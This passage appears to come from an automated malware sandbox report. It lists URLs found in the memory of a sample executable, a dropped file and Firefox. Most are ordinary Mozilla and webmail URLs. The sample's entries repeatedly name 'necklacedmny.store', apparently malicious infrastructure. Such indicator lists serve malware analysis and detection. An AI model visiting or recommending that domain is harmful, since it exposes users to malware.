Source: file.exe, 00000001.00000003.2230713070.00000000053BD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2230620645.00000000053D4000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2870900801.000000000552F000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2870976705.0000000005518000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000001E.00000003.3115503261.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001A.00000002.3329017267.00000234EE970000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 0000001A.00000002.3319814174.00000234ED299000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001A.00000002.3319814174.00000234ED299000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 0000001A.00000002.3319814174.00000234ED299000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://ebay.com
Source: firefox.exe, 0000001A.00000002.3319814174.00000234ED299000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%sAttempted
Source: firefox.exe, 0000001A.00000002.3279659963.00000234EB400000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://fb.me/react-polyfillsO
Source: firefox.exe, 0000001A.00000002.3279659963.00000234EB400000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://fb.me/react-polyfillsP
Source: firefox.exe, 0000001A.00000002.3279659963.00000234EB400000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://fb.me/react-polyfillsPO
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000003.3128636514.00000234F0423000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3135115359.00000234F0447000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/673d2808-e5d8-41b9-957
Source: firefox.exe, 0000001A.00000003.3128636514.00000234F0423000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3135115359.00000234F0447000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/74f06853-c80d-4afc-9b2
Source: firefox.exe, 0000001A.00000003.3135115359.00000234F0447000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839
Source: firefox.exe, 0000001A.00000002.3279659963.00000234EB400000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/browser/components/newtab/content-src/asrouter/docs/debuggin
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB345000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsgetEl
Source: firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsm
Source: firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsmr
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001A.00000002.3279659963.00000234EB400000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/nimbus-desktop-experiments
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordsi
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1_onDisplaySyncURIs/allKnownSender
Source: firefox.exe, 0000001A.00000002.3279659963.00000234EB400000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1i
Source: firefox.exe, 0000001A.00000002.3279659963.00000234EB400000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1i#
Source: firefox.exe, 0000001A.00000002.3282438165.00000234EC01A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp, firefox.exe, 0000001A.00000002.3224823843.00000234DEC6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000001A.00000002.3282438165.00000234EC01A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3319814174.00000234ED271000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001A.00000002.3282438165.00000234EC01A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3319814174.00000234ED271000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000001A.00000002.3279659963.00000234EB400000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://getpocket.com/
Source: firefox.exe, 0000001A.00000002.3279659963.00000234EB400000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://getpocket.com/a4
Source: firefox.exe, 0000001A.00000002.3279659963.00000234EB400000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://getpocket.com/collections
Source: firefox.exe, 0000001A.00000002.3279659963.00000234EB400000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://getpocket.com/explore/
Source: firefox.exe, 0000001A.00000002.3282438165.00000234EC01A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3319814174.00000234ED271000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.3282438165.00000234EC01A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3319814174.00000234ED271000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.3282438165.00000234EC01A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3319814174.00000234ED271000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.3282438165.00000234EC01A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3319814174.00000234ED271000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.3282438165.00000234EC01A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3319814174.00000234ED271000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.3282438165.00000234EC01A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3319814174.00000234ED271000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.3282438165.00000234EC01A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3319814174.00000234ED271000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001A.00000002.3282438165.00000234EC01A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3319814174.00000234ED271000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.3319814174.00000234ED271000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001A.00000002.3279659963.00000234EB400000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://getpocket.com/read/$
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 0000001A.00000002.3285841658.00000234EC303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: firefox.exe, 0000001A.00000002.3282438165.00000234EC01A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/cfworker
Source: firefox.exe, 0000001A.00000003.3192280668.00000234F28E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 0000001A.00000003.3192280668.00000234F28E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 0000001A.00000003.2999634271.00000234EEE0E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3329017267.00000234EE970000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3007858315.00000234EEE30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2997516237.00000234EEC00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsexperiment-apis/pictureInPicture.jsexperiment-apis/ab
Source: firefox.exe, 0000001A.00000002.3279659963.00000234EB400000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://github.com/projectfluent/fluent.js/wiki/React-Overlays.
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB324000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 0000001A.00000002.3282438165.00000234EC01A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3319814174.00000234ED271000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 0000001A.00000002.3279659963.00000234EB400000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://help.getpocket.com/article/1142-firefox-new-tab-recommendations-faq
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001A.00000002.3224823843.00000234DEC11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881C:
Source: firefox.exe, 0000001A.00000002.3279659963.00000234EB400000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881a
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 0000001A.00000002.3279659963.00000234EB400000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/7
Source: firefox.exe, 0000001D.00000002.3208613194.000001B2BCAC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001A.00000002.3282438165.00000234EC01A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3319814174.00000234ED271000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 0000001A.00000003.3075938189.00000234F0064000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 0000001A.00000002.3332512214.00000234EEC7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema.
Source: firefox.exe, 0000001A.00000002.3332512214.00000234EEC7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema./
Source: firefox.exe, 0000001A.00000002.3332512214.00000234EEC7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/
Source: firefox.exe, 0000001A.00000002.3332512214.00000234EEC7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/=
Source: firefox.exe, 0000001A.00000002.3236357921.00000234EA683000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000001A.00000002.3370312333.00000234EF56E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001A.00000002.3340551849.00000234EF311000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3332058969.00000234EEB4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000001A.00000002.3319814174.00000234ED299000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3282438165.00000234EC0AC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285841658.00000234EC320000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sPdfJs.init
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%schrome://browser/content/schemas/devtools_panels.j
Source: firefox.exe, 0000001A.00000002.3319814174.00000234ED299000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001A.00000002.3319814174.00000234ED299000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 0000001A.00000002.3319814174.00000234ED299000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.inbox
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%shttps://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001A.00000002.3319814174.00000234ED299000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 0000001A.00000002.3224823843.00000234DECDB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3208613194.000001B2BCA72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest5
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggestError
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000001A.00000002.3332058969.00000234EEB1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3319814174.00000234ED2D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp, firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001A.00000002.3332058969.00000234EEB1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.comXYf
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.comnetwork.proxy.backup.socks_porthttps://screenshots.firefox.comwidget.use-
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://mozilla.org/W
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: file.exe, 00000001.00000003.2304405899.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2230671655.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2245245805.0000000000CF0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2244305444.0000000000CEE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2288188855.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 445877ac99.exe, 0000000B.00000003.2870209889.0000000000F80000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2925691440.0000000000F7F000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2965692859.0000000000F83000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2904996879.0000000000F81000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2908401382.0000000000F85000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2909263406.0000000000F85000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2926716507.0000000000F83000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2980536638.0000000000F7F000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2925909050.0000000000F83000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2926355406.0000000000F83000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2881753122.0000000000F83000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000001E.00000003.3287245998.0000000005B21000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000001E.00000003.3334075658.0000000005B2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/
Source: 445877ac99.exe, 0000000B.00000003.2881753122.0000000000F83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store//
Source: file.exe, 00000001.00000003.2257552528.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2304405899.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/3a
Source: 445877ac99.exe, 0000000B.00000003.2980536638.0000000000F7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/7
